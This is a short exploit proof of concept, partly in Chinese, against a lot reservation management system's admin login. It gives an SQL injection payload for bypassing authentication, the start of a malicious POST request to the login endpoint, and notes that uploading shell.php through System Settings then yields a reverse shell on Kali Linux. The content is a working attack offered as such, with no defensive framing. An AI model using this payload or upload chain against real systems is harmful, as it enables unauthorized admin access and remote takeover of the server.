Proof of Concept:::
Step 1: Open the URL http://localhost:8081/lot-reservation-management-system/admin/login.php
Step 2: use payload ' or 1=1 limit 1 -- -+ for both username and password.
Malicious Request:::
POST /lot-reservation-management-system/admin/ajax.php?action=login HTTP/1.1

用繞過陳述句，

在System Settings，可以上傳shell.php檔案
從而在Kali Linux上得到了目標主機反彈回來的shell
